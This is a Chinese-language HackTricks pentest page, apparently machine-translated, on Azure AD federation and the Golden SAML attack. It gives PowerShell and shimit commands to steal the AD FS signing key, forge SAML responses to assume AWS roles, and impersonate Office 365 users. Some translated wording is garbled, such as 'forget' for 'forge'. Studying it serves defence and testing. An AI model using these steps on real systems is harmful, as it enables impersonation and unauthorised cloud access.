Az - Federation

支持 HackTricks

基本信息

来自文档:联邦是一组建立了信任。信任的级别可能有所不同,但通常包括身份验证,几乎总是包括授权。一个典型的联邦可能包括一组已建立信任组织,以便对一组资源进行共享访问

您可以将本地环境与Azure AD进行联邦,并使用此联邦进行身份验证和授权。此登录方法确保所有用户身份验证在本地进行。此方法允许管理员实施更严格的访问控制级别。与AD FS和 PingFederate 的联邦是可用的。

基本上,在联邦中,所有身份验证都发生在本地环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其本地凭据访问应用程序。

安全断言标记语言 (SAML) 用于在提供者之间交换所有身份验证和授权信息

在任何联邦设置中,有三个参与方:

  • 用户或客户端

  • 身份提供者 (IdP)

  • 服务提供者 (SP)

(图片来自 https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. 最初,用户访问一个应用程序(服务提供者或 SP,例如 AWS 控制台或 vSphere Web 客户端)。根据具体实现,此步骤可能会被绕过,直接将客户端引导到 IdP(身份提供者)。

  2. 随后,SP 确定适当的 IdP(例如,AD FS,Okta)进行用户身份验证。然后,它构建一个 SAML(安全断言标记语言)AuthnRequest,并将客户端重定向到所选的 IdP。

  3. IdP 接管,进行用户身份验证。身份验证后,IdP 制定一个 SAMLResponse,并通过用户转发给 SP。

  4. 最后,SP 评估 SAMLResponse。如果成功验证,表明与 IdP 之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。

如果您想了解更多关于 SAML 身份验证和常见攻击的信息,请访问:

侧向移动

  • AD FS 是基于声明的身份模型。

  • “..声明只是关于用户的语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。”

  • 用户的声明写入 SAML 令牌中,然后由 IdP 签名以提供机密性。

  • 用户通过 ImmutableID 进行识别。它是全局唯一的,并存储在 Azure AD 中。

  • ImmutableID 存储在本地作为 ms-DS-ConsistencyGuid,供用户使用,和/或可以从用户的 GUID 派生。

黄金 SAML 攻击:

黄金 SAML

身份提供者 (IdP) 生成 SAMLResponse 以授权用户登录的过程至关重要。根据 IdP 的具体实现,响应可能会使用 IdP 的私钥进行签名加密。此过程使 服务提供者 (SP) 能够确认 SAMLResponse 的真实性,确保它确实是由受信任的 IdP 发出的。

可以与 黄金票证攻击 相提并论,其中用于验证用户身份和权限的密钥(黄金票证的 KRBTGT,黄金 SAML 的令牌签名私钥)可以被操纵以伪造身份验证对象(TGT 或 SAMLResponse)。这允许冒充任何用户,授予对 SP 的未授权访问。

黄金 SAML 提供某些优势:

  • 它们可以远程创建,无需成为相关域或联邦的一部分。

  • 即使启用双因素身份验证 (2FA),它们仍然有效。

  • 令牌签名的私钥不会自动续订

  • 更改用户的密码不会使已生成的 SAML 无效。

AWS + AD FS + 黄金 SAML

活动目录联邦服务 (AD FS) 是一项 Microsoft 服务,促进受信任商业伙伴之间的身份信息安全交换(联邦)。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。

由于 AWS 信任被泄露的域(在联邦中),可以利用此漏洞来潜在地获取 AWS 环境中的任何权限。该攻击需要用于签名 SAML 对象的私钥,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。

执行黄金 SAML 攻击的要求包括:

  • 令牌签名私钥

  • IdP 公共证书

  • IdP 名称

  • 角色名称(要承担的角色)

  • 域\用户名

  • AWS 中的角色会话名称

  • 亚马逊账户 ID

只有加粗的项目是强制性的。其他项目可以根据需要填写。

要获取私钥,需要访问AD FS 用户帐户。从那里,可以使用 mimikatz 等工具从个人存储中导出私钥。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保您以 ADFS 用户身份登录:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

使用所有信息,可以忘记一个有效的 SAMLResponse,作为您想要冒充的用户,使用 shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

本地 -> 云

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

也可以为仅云用户创建 ImmutableID 并冒充他们。

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

参考文献

支持 HackTricks

Last updated